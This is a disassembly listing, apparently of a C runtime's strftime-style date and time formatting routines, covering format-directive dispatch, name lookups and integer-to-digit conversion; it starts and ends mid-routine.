mov edx, [ebp-4]
add edx, 0ACh
mov [ebp-14h], edx
push 0ACh
mov eax, off_443FE4
push eax
mov ecx, [ebp-4]
push ecx
call sub_418A00
add esp, 0Ch
mov dword ptr [ebp-10h], 0
jmp short loc_42DFCA
; ---------------------------------------------------------------------------
loc_42DFC1: ; CODE XREF: .text:0042E03Cj
mov edx, [ebp-10h]
add edx, 1
mov [ebp-10h], edx
loc_42DFCA: ; CODE XREF: .text:0042DFBFj
cmp dword ptr [ebp-10h], 7
jnb short loc_42E03E
mov eax, [ebp-10h]
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+eax*4], edx
mov eax, [ebp-10h]
mov ecx, [ebp-0Ch]
mov edx, [ecx+eax*4]
push edx
mov eax, [ebp-14h]
push eax
call sub_419FA0
add esp, 8
push eax
call sub_418E70
add esp, 4
mov ecx, [ebp-14h]
lea edx, [ecx+eax+1]
mov [ebp-14h], edx
mov eax, [ebp-10h]
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+eax*4+1Ch], edx
mov eax, [ebp-10h]
mov ecx, [ebp-0Ch]
mov edx, [ecx+eax*4+1Ch]
push edx
mov eax, [ebp-14h]
push eax
call sub_419FA0
add esp, 8
push eax
call sub_418E70
add esp, 4
mov ecx, [ebp-14h]
lea edx, [ecx+eax+1]
mov [ebp-14h], edx
jmp short loc_42DFC1
; ---------------------------------------------------------------------------
loc_42E03E: ; CODE XREF: .text:0042DFCEj
mov dword ptr [ebp-10h], 0
jmp short loc_42E050
; ---------------------------------------------------------------------------
loc_42E047: ; CODE XREF: .text:0042E0C4j
mov eax, [ebp-10h]
add eax, 1
mov [ebp-10h], eax
loc_42E050: ; CODE XREF: .text:0042E045j
cmp dword ptr [ebp-10h], 0Ch
jnb short loc_42E0C6
mov ecx, [ebp-10h]
mov edx, [ebp-18h]
mov eax, [ebp-14h]
mov [edx+ecx*4+38h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+38h]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_419FA0
add esp, 8
push eax
call sub_418E70
add esp, 4
mov edx, [ebp-14h]
lea eax, [edx+eax+1]
mov [ebp-14h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-18h]
mov eax, [ebp-14h]
mov [edx+ecx*4+68h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+68h]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_419FA0
add esp, 8
push eax
call sub_418E70
add esp, 4
mov edx, [ebp-14h]
lea eax, [edx+eax+1]
mov [ebp-14h], eax
jmp short loc_42E047
; ---------------------------------------------------------------------------
loc_42E0C6: ; CODE XREF: .text:0042E054j
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+98h], edx
mov eax, [ebp-0Ch]
mov ecx, [eax+98h]
push ecx
mov edx, [ebp-14h]
push edx
call sub_419FA0
add esp, 8
push eax
call sub_418E70
add esp, 4
mov ecx, [ebp-14h]
lea edx, [ecx+eax+1]
mov [ebp-14h], edx
mov eax, [ebp-18h]
mov ecx, [ebp-14h]
mov [eax+9Ch], ecx
mov edx, [ebp-0Ch]
mov eax, [edx+9Ch]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_419FA0
add esp, 8
push eax
call sub_418E70
add esp, 4
mov edx, [ebp-14h]
lea eax, [edx+eax+1]
mov [ebp-14h], eax
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+0A0h], edx
mov eax, [ebp-0Ch]
mov ecx, [eax+0A0h]
push ecx
mov edx, [ebp-14h]
push edx
call sub_419FA0
add esp, 8
push eax
call sub_418E70
add esp, 4
mov ecx, [ebp-14h]
lea edx, [ecx+eax+1]
mov [ebp-14h], edx
mov eax, [ebp-18h]
mov ecx, [ebp-14h]
mov [eax+0A4h], ecx
mov edx, [ebp-0Ch]
mov eax, [edx+0A4h]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_419FA0
add esp, 8
push eax
call sub_418E70
add esp, 4
mov edx, [ebp-14h]
lea eax, [edx+eax+1]
mov [ebp-14h], eax
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+0A8h], edx
loc_42E1A6: ; CODE XREF: .text:0042DF89j
mov eax, [ebp-4]
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
mov eax, [ebp+14h]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_42E1D0
add esp, 14h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E1D0 proc near ; CODE XREF: .text:0042E1C5p
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
cmp [ebp+arg_10], 0
jnz short loc_42E1E6
mov eax, off_443FE4
mov [ebp+var_10], eax
jmp short loc_42E1EC
; ---------------------------------------------------------------------------
loc_42E1E6: ; CODE XREF: sub_42E1D0+Aj
mov ecx, [ebp+arg_10]
mov [ebp+var_10], ecx
loc_42E1EC: ; CODE XREF: sub_42E1D0+14j
mov edx, [ebp+var_10]
mov [ebp+var_4], edx
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
push offset dword_49274C
call ds:dword_494418
cmp dword_492748, 0
jz short loc_42E22A
push offset dword_49274C
call ds:dword_494414
push 13h
call sub_41BC90
add esp, 4
mov [ebp+var_8], 1
jmp short loc_42E231
; ---------------------------------------------------------------------------
loc_42E22A: ; CODE XREF: sub_42E1D0+3Aj
mov [ebp+var_8], 0
loc_42E231: ; CODE XREF: sub_42E1D0+58j
; sub_42E1D0:loc_42E31Dj
cmp [ebp+var_C], 0
jbe loc_42E322
mov ecx, [ebp+arg_8]
mov dl, [ecx]
mov [ebp+var_14], dl
cmp [ebp+var_14], 0
jz short loc_42E251
cmp [ebp+var_14], 25h
jz short loc_42E256
jmp short loc_42E2B0
; ---------------------------------------------------------------------------
loc_42E251: ; CODE XREF: sub_42E1D0+77j
jmp loc_42E322
; ---------------------------------------------------------------------------
loc_42E256: ; CODE XREF: sub_42E1D0+7Dj
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
mov dword_492410, 0
mov ecx, [ebp+arg_8]
movsx edx, byte ptr [ecx]
cmp edx, 23h
jnz short loc_42E287
mov dword_492410, 1
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
loc_42E287: ; CODE XREF: sub_42E1D0+A2j
mov ecx, [ebp+var_4]
push ecx
lea edx, [ebp+var_C]
push edx
lea eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
mov al, [edx]
push eax
call sub_42E360
add esp, 14h
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
jmp short loc_42E31D
; ---------------------------------------------------------------------------
loc_42E2B0: ; CODE XREF: sub_42E1D0+7Fj
mov edx, [ebp+arg_8]
xor eax, eax
mov al, [edx]
mov ecx, off_442D4C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_42E2F8
cmp [ebp+var_C], 1
jbe short loc_42E2F8
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
loc_42E2F8: ; CODE XREF: sub_42E1D0+FBj
; sub_42E1D0+101j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
loc_42E31D: ; CODE XREF: sub_42E1D0+DEj
jmp loc_42E231
; ---------------------------------------------------------------------------
loc_42E322: ; CODE XREF: sub_42E1D0+65j
; sub_42E1D0:loc_42E251j
cmp [ebp+var_8], 0
jz short loc_42E334
push 13h
call sub_41BD30
add esp, 4
jmp short loc_42E33F
; ---------------------------------------------------------------------------
loc_42E334: ; CODE XREF: sub_42E1D0+156j
push offset dword_49274C
call ds:dword_494414
loc_42E33F: ; CODE XREF: sub_42E1D0+162j
cmp [ebp+var_C], 0
jbe short loc_42E353
mov eax, [ebp+arg_0]
mov byte ptr [eax], 0
mov eax, [ebp+arg_4]
sub eax, [ebp+var_C]
jmp short loc_42E355
; ---------------------------------------------------------------------------
loc_42E353: ; CODE XREF: sub_42E1D0+173j
xor eax, eax
loc_42E355: ; CODE XREF: sub_42E1D0+181j
mov esp, ebp
pop ebp
retn
sub_42E1D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E360 proc near ; CODE XREF: sub_42E1D0+CDp
; sub_42EB30+3ECp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
movsx eax, [ebp+arg_0]
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
sub ecx, 25h
mov [ebp+var_C], ecx
cmp [ebp+var_C], 55h
ja loc_42E8C8
mov eax, [ebp+var_C]
xor edx, edx
mov dl, ds:byte_42E929[eax]
jmp ds:off_42E8CD[edx*4]
loc_42E393: ; DATA XREF: .text:0042E8FDo
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+18h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4]
push eax
call sub_42E980
add esp, 0Ch
jmp loc_42E8C8
; ---------------------------------------------------------------------------
loc_42E3B5: ; CODE XREF: sub_42E360+2Cj
; DATA XREF: .text:0042E8D1o
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+18h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4+1Ch]
push eax
call sub_42E980
add esp, 0Ch
jmp loc_42E8C8
; ---------------------------------------------------------------------------
loc_42E3D8: ; CODE XREF: sub_42E360+2Cj
; DATA XREF: .text:0042E901o
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+10h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4+38h]
push eax
call sub_42E980
add esp, 0Ch
jmp loc_42E8C8
; ---------------------------------------------------------------------------
loc_42E3FB: ; CODE XREF: sub_42E360+2Cj
; DATA XREF: .text:0042E8D5o
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+10h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4+68h]
push eax
call sub_42E980
add esp, 0Ch
jmp loc_42E8C8
; ---------------------------------------------------------------------------
loc_42E41E: ; CODE XREF: sub_42E360+2Cj
; DATA XREF: .text:0042E905o
cmp dword_492410, 0
jz short loc_42E4A6
mov dword_492410, 0
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+0A4h]
push eax
call sub_42EB30
add esp, 14h
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 0
jnz short loc_42E460
jmp loc_42E8C8
; ---------------------------------------------------------------------------
loc_42E460: ; CODE XREF: sub_42E360+F9j
mov edx, [ebp+arg_8]
mov eax, [edx]
mov byte ptr [eax], 20h
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+0A8h]
push eax
call sub_42EB30
add esp, 14h
jmp short loc_42E519
; ---------------------------------------------------------------------------
loc_42E4A6: ; CODE XREF: sub_42E360+C5j
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+0A0h]
push eax
call sub_42EB30
add esp, 14h
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 0
jnz short loc_42E4D5
jmp loc_42E8C8
; ---------------------------------------------------------------------------
loc_42E4D5: ; CODE XREF: sub_42E360+16Ej
mov edx, [ebp+arg_8]
mov eax, [edx]
mov byte ptr [eax], 20h
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+0A8h]
push eax
call sub_42EB30
add esp, 14h
loc_42E519: ; CODE XREF: sub_42E360+144j
jmp loc_42E8C8
; ---------------------------------------------------------------------------
loc_42E51E: ; CODE XREF: sub_42E360+2Cj
; DATA XREF: .text:0042E909o
mov ecx, dword_492410
mov dword_492414, ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+arg_4]
mov edx, [ecx+0Ch]
push edx
call sub_42E9D0
add esp, 10h
jmp loc_42E8C8
; ---------------------------------------------------------------------------
loc_42E548: ; CODE XREF: sub_42E360+2Cj
; DATA XREF: .text:0042E8D9o
mov eax, dword_492410
mov dword_492414, eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 2
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
push ecx
call sub_42E9D0
add esp, 10h
jmp loc_42E8C8
; ---------------------------------------------------------------------------
loc_42E570: ; CODE XREF: sub_42E360+2Cj
; DATA XREF: .text:0042E8DDo
mov edx, dword_492410
mov dword_492414, edx
mov eax, [ebp+arg_4]
mov eax, [eax+8]
cdq
mov ecx, 0Ch
idiv ecx
mov [ebp+var_4], edx
cmp [ebp+var_4], 0
jnz short loc_42E59A
mov [ebp+var_4], 0Ch
loc_42E59A: ; CODE XREF: sub_42E360+231j
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+var_4]
push ecx
call sub_42E9D0
add esp, 10h
jmp loc_42E8C8
; ---------------------------------------------------------------------------
loc_42E5B5: ; CODE XREF: sub_42E360+2Cj
; DATA XREF: .text:0042E90Do
mov edx, dword_492410
mov dword_492414, edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 3
mov edx, [ebp+arg_4]
mov eax, [edx+1Ch]
add eax, 1
push eax
call sub_42E9D0
add esp, 10h
jmp loc_42E8C8
; ---------------------------------------------------------------------------
loc_42E5E2: ; CODE XREF: sub_42E360+2Cj
; DATA XREF: .text:0042E911o
mov ecx, dword_492410
mov dword_492414, ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+arg_4]
mov edx, [ecx+10h]
add edx, 1
push edx
call sub_42E9D0
add esp, 10h
jmp loc_42E8C8
; ---------------------------------------------------------------------------
loc_42E60F: ; CODE XREF: sub_42E360+2Cj
; DATA XREF: .text:0042E8E1o
mov eax, dword_492410
mov dword_492414, eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 2
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
push ecx
call sub_42E9D0
add esp, 10h
jmp loc_42E8C8
; ---------------------------------------------------------------------------
loc_42E637: ; CODE XREF: sub_42E360+2Cj
; DATA XREF: .text:0042E915o
mov edx, [ebp+arg_4]
cmp dword ptr [edx+8], 0Bh
jg short loc_42E65C
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+98h]
push eax
call sub_42E980
add esp, 0Ch
jmp short loc_42E676
; ---------------------------------------------------------------------------
loc_42E65C: ; CODE XREF: sub_42E360+2DEj
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_10]
mov ecx, [eax+9Ch]
push ecx
call sub_42E980
add esp, 0Ch
loc_42E676: ; CODE XREF: sub_42E360+2FAj
jmp loc_42E8C8
; ---------------------------------------------------------------------------
loc_42E67B: ; CODE XREF: sub_42E360+2Cj
; DATA XREF: .text:0042E8E5o
mov edx, dword_492410
mov dword_492414, edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 2
mov edx, [ebp+arg_4]
mov eax, [edx]
push eax
call sub_42E9D0
add esp, 10h
jmp loc_42E8C8
; ---------------------------------------------------------------------------
loc_42E6A4: ; CODE XREF: sub_42E360+2Cj
; DATA XREF: .text:0042E8E9o
mov ecx, dword_492410
mov dword_492414, ecx
mov edx, [ebp+arg_4]
mov eax, [edx+18h]
mov [ebp+var_8], eax
jmp short loc_42E70D
; ---------------------------------------------------------------------------
loc_42E6BB: ; CODE XREF: sub_42E360+2Cj
; DATA XREF: .text:0042E919o
mov ecx, dword_492410
mov dword_492414, ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 1
mov ecx, [ebp+arg_4]
mov edx, [ecx+18h]
push edx
call sub_42E9D0
add esp, 10h
jmp loc_42E8C8
; ---------------------------------------------------------------------------
loc_42E6E5: ; CODE XREF: sub_42E360+2Cj
; DATA XREF: .text:0042E8EDo
mov eax, dword_492410
mov dword_492414, eax
mov ecx, [ebp+arg_4]
cmp dword ptr [ecx+18h], 0
jnz short loc_42E701
mov [ebp+var_8], 6
jmp short loc_42E70D
; ---------------------------------------------------------------------------
loc_42E701: ; CODE XREF: sub_42E360+396j
mov edx, [ebp+arg_4]
mov eax, [edx+18h]
sub eax, 1
mov [ebp+var_8], eax
loc_42E70D: ; CODE XREF: sub_42E360+359j
; sub_42E360+39Fj
mov ecx, [ebp+arg_4]
mov edx, [ecx+1Ch]
cmp edx, [ebp+var_8]
jge short loc_42E721
mov [ebp+var_4], 0
jmp short loc_42E74E
; ---------------------------------------------------------------------------
loc_42E721: ; CODE XREF: sub_42E360+3B6j
mov eax, [ebp+arg_4]
mov eax, [eax+1Ch]
cdq
mov ecx, 7
idiv ecx
mov [ebp+var_4], eax
mov edx, [ebp+arg_4]
mov eax, [edx+1Ch]
cdq
mov ecx, 7
idiv ecx
cmp edx, [ebp+var_8]
jl short loc_42E74E
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42E74E: ; CODE XREF: sub_42E360+3BFj
; sub_42E360+3E3j
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 2
mov edx, [ebp+var_4]
push edx
call sub_42E9D0
add esp, 10h
jmp loc_42E8C8
; ---------------------------------------------------------------------------
loc_42E769: ; CODE XREF: sub_42E360+2Cj
; DATA XREF: .text:0042E91Do
cmp dword_492410, 0
jz short loc_42E7A0
mov dword_492410, 0
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_10]
mov edx, [ecx+0A4h]
push edx
call sub_42EB30
add esp, 14h
jmp short loc_42E7C2
; ---------------------------------------------------------------------------
loc_42E7A0: ; CODE XREF: sub_42E360+410j
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_10]
mov edx, [ecx+0A0h]
push edx
call sub_42EB30
add esp, 14h
loc_42E7C2: ; CODE XREF: sub_42E360+43Ej
jmp loc_42E8C8
; ---------------------------------------------------------------------------
loc_42E7C7: ; CODE XREF: sub_42E360+2Cj
; DATA XREF: .text:0042E8F1o
mov dword_492410, 0
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_10]
mov edx, [ecx+0A8h]
push edx
call sub_42EB30
add esp, 14h
jmp loc_42E8C8
; ---------------------------------------------------------------------------
loc_42E7F8: ; CODE XREF: sub_42E360+2Cj
; DATA XREF: .text:0042E921o
mov eax, dword_492410
mov dword_492414, eax
mov ecx, [ebp+arg_4]
mov eax, [ecx+14h]
cdq
mov ecx, 64h
idiv ecx
mov [ebp+var_4], edx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+var_4]
push ecx
call sub_42E9D0
add esp, 10h
jmp loc_42E8C8
; ---------------------------------------------------------------------------
loc_42E82E: ; CODE XREF: sub_42E360+2Cj
; DATA XREF: .text:0042E8F5o
mov edx, dword_492410
mov dword_492414, edx
mov eax, [ebp+arg_4]
mov eax, [eax+14h]
cdq
mov ecx, 64h
idiv ecx
mov ecx, eax
add ecx, 13h
imul ecx, 64h
mov edx, [ebp+arg_4]
mov eax, [edx+14h]
cdq
mov esi, 64h
idiv esi
add ecx, edx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 4
mov edx, [ebp+var_4]
push edx
call sub_42E9D0
add esp, 10h
jmp short loc_42E8C8
; ---------------------------------------------------------------------------
loc_42E87B: ; CODE XREF: sub_42E360+2Cj
; DATA XREF: .text:0042E8F9o
call sub_42BA60
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
xor eax, eax
cmp dword ptr [edx+20h], 0
setnz al
mov ecx, off_443F54[eax*4]
push ecx
call sub_42E980
add esp, 0Ch
jmp short loc_42E8C8
; ---------------------------------------------------------------------------
loc_42E8A6: ; CODE XREF: sub_42E360+2Cj
; DATA XREF: .text:off_42E8CDo
mov edx, [ebp+arg_8]
mov eax, [edx]
mov byte ptr [eax], 25h
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
loc_42E8C8: ; CODE XREF: sub_42E360+1Bj
; sub_42E360+2Cj ...
pop esi
mov esp, ebp
pop ebp
retn
sub_42E360 endp
; ---------------------------------------------------------------------------
off_42E8CD dd offset loc_42E8A6 ; DATA XREF: sub_42E360+2Cr
dd offset loc_42E3B5
dd offset loc_42E3FB
dd offset loc_42E548
dd offset loc_42E570
dd offset loc_42E60F
dd offset loc_42E67B
dd offset loc_42E6A4
dd offset loc_42E6E5
dd offset loc_42E7C7
dd offset loc_42E82E
dd offset loc_42E87B
dd offset loc_42E393
dd offset loc_42E3D8
dd offset loc_42E41E
dd offset loc_42E51E
dd offset loc_42E5B5
dd offset loc_42E5E2
dd offset loc_42E637
dd offset loc_42E6BB
dd offset loc_42E769
dd offset loc_42E7F8
dd offset loc_42E8C8
byte_42E929 db 0 ; DATA XREF: sub_42E360+26r
dw 1616h
dd 6 dup(16161616h), 16020116h, 16161616h, 16160403h, 16160516h
dd 6161616h, 8160716h, 160B0A09h, 16161616h, 0E0D0C16h
dd 1616160Fh, 16101616h, 16161116h, 16161612h, 13161616h
dd 0CC0B1514h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E980 proc near ; CODE XREF: sub_42E360+48p
; sub_42E360+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
loc_42E983: ; CODE XREF: sub_42E980+44j
mov eax, [ebp+arg_8]
cmp dword ptr [eax], 0
jz short loc_42E9C6
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_42E9C6
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov edx, [ebp+arg_0]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_4]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_4]
mov [eax], edx
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_8]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
jmp short loc_42E983
; ---------------------------------------------------------------------------
loc_42E9C6: ; CODE XREF: sub_42E980+9j
; sub_42E980+13j
pop ebp
retn
sub_42E980 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42E9D0 proc near ; CODE XREF: sub_42E360+1DBp
; sub_42E360+203p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
cmp dword_492414, 0
jz short loc_42E9FA
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42EA80
add esp, 0Ch
jmp short loc_42EA79
; ---------------------------------------------------------------------------
loc_42E9FA: ; CODE XREF: sub_42E9D0+12j
mov eax, [ebp+arg_C]
mov ecx, [ebp+arg_4]
cmp ecx, [eax]
jnb short loc_42EA70
mov edx, [ebp+arg_4]
sub edx, 1
mov [ebp+arg_4], edx
jmp short loc_42EA18
; ---------------------------------------------------------------------------
loc_42EA0F: ; CODE XREF: sub_42E9D0+82j
mov eax, [ebp+arg_4]
sub eax, 1
mov [ebp+arg_4], eax
loc_42EA18: ; CODE XREF: sub_42E9D0+3Dj
mov ecx, [ebp+arg_4]
add ecx, 1
test ecx, ecx
jz short loc_42EA54
mov eax, [ebp+arg_0]
cdq
mov ecx, 0Ah
idiv ecx
add edx, 30h
mov eax, [ebp+arg_8]
mov ecx, [eax]
mov eax, [ebp+arg_4]
mov [ecx+eax], dl
mov eax, [ebp+arg_0]
cdq
mov ecx, 0Ah
idiv ecx
mov [ebp+arg_0], eax
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
jmp short loc_42EA0F
; ---------------------------------------------------------------------------
loc_42EA54: ; CODE XREF: sub_42E9D0+50j
mov eax, [ebp+arg_8]
mov ecx, [eax]
add ecx, [ebp+var_4]
mov edx, [ebp+arg_8]
mov [edx], ecx
mov eax, [ebp+arg_C]
mov ecx, [eax]
sub ecx, [ebp+var_4]
mov edx, [ebp+arg_C]
mov [edx], ecx
jmp short loc_42EA79
; ---------------------------------------------------------------------------
loc_42EA70: ; CODE XREF: sub_42E9D0+32j
mov eax, [ebp+arg_C]
mov dword ptr [eax], 0
loc_42EA79: ; CODE XREF: sub_42E9D0+28j
; sub_42E9D0+9Ej
mov esp, ebp
pop ebp
retn
sub_42E9D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42EA80 proc near ; CODE XREF: sub_42E9D0+20p
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+arg_8]
cmp dword ptr [edx], 1
jbe short loc_42EADB
loc_42EA96: ; CODE XREF: sub_42EA80+59j
mov eax, [ebp+arg_0]
cdq
mov ecx, 0Ah
idiv ecx
add edx, 30h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_8]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
mov eax, [ebp+arg_0]
cdq
mov ecx, 0Ah
idiv ecx
mov [ebp+arg_0], eax
cmp [ebp+arg_0], 0
jle short loc_42EADB
mov edx, [ebp+arg_8]
cmp dword ptr [edx], 1
ja short loc_42EA96
loc_42EADB: ; CODE XREF: sub_42EA80+14j
; sub_42EA80+51j
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_42EAF4: ; CODE XREF: sub_42EA80+A6j
mov edx, [ebp+var_4]
mov al, [edx]
mov [ebp+var_C], al
mov ecx, [ebp+var_4]
mov edx, [ebp+var_8]
mov al, [edx]
mov [ecx], al
